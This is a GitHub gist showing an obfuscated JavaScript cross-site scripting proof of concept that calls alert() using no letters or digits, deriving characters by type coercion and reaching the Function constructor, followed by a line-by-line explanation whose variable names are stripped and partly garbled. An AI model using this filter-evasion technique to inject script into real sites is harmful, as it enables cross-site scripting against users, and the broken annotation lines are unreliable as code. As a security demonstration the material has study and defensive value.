Skip to content

Instantly share code, notes, and snippets.

@ignis-sec
Created September 23, 2021 22:03
Show Gist options
  • Save ignis-sec/a89988c3bc473c055c1c5a5228a23fc6 to your computer and use it in GitHub Desktop.
Save ignis-sec/a89988c3bc473c055c1c5a5228a23fc6 to your computer and use it in GitHub Desktop.
alert() without letters or numbers
<script>
/*
〱='',〳=〱,ᘓ=〱+{},ᘒ=〱+[][[]],〱+=[〱==〱],〳+=[!〱],ᘑ=+[],ᘐ=+!+[],ᘔ=ᘐ+ᘐ,ᘕ=ᘔ+ᘐ,ᘖ=ᘔ+ᘕ,ᘖ+=ᘖ+ᘖ+ᘔ,ᘗ=ᘖ+ᘐ,ᘘ=ᘓ[ᘔ+ᘕ],ᘙ=ᘓ[ᘐ],ᘚ=〱[ᘐ],ᘲ=〱[ᘑ],ᘳ=ᘘ+ᘙ+ᘒ[ᘐ]+〳[ᘕ]+ᘲ+ᘚ+ᘒ[ᘑ]+ᘘ+ᘲ+ᘙ+〱[ᘐ],ᘰ=[][ᘳ][ᘳ],ᘏ=''+ᘰ,ᘎ=〳[ᘐ]+〳[ᘔ]+〱[ᘕ]+ᘚ+ᘲ+ᘏ[ᘖ]+ᘏ[ᘗ],ᘰ`ᘳ${ᘎ}```
*/
=''
= //''
=+{} //'[object Object]' <- '' + [object Object]
=+[][[]] //'undefined' <- '' + undefined
+=[==] //'true' <- Array from true
+=[!] //'false' <- Array from !true
=+[] //0
=+!+[] //1
=+ //2 <- 1+1
=+ //3 <- 2+1
=+ //5 <- 2+2+1
+=++ //17 <- 5+5+5+2
=+ //18 <- 17+1
//letters that are used more than once defined seperately to shorten payload
=[+] //c <- '[object Object]'[5]
=[] //o <- '[object Object]'[1]
=[] //r <- 'true'[1]
=[] //t <- 'true'[0]
= //constructor
+ //c <- '[object Object]'[5]
+ //o <- '[object Object]'[1]
[]+ //n <- 'undefined'[1]
[]+ //s <- 'false'[3]
+ //t <- 'true'[0]
+ //r <- 'true'[1]
[]+ //u <- 'undefined'[0]
+ //c <- '[object Object]'[5]
+ //t <- 'true'[0]
+ //o <- '[object Object]'[1]
[] //r <- 'true'[1]
= [][][] //Function <- []["constructor"]["constructor"]
=''+ //'function Function() { [native code] }'
= //alert
[]+ //a <- 'false'[1]
[]+ //l <- 'false'[2]
[]+ //e <- 'true[4]
+ //r <- 'true'[1]
+ //t <- 'true'[0]
[]+ //( <- 'function Function() { [native code] }'[17]
[] //) <- 'function Function() { [native code] }'[18]
`ᘳ${}` `` //alert() <- []["constructor"]["constructor"]`ᘳ${"alert()"}` ``
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment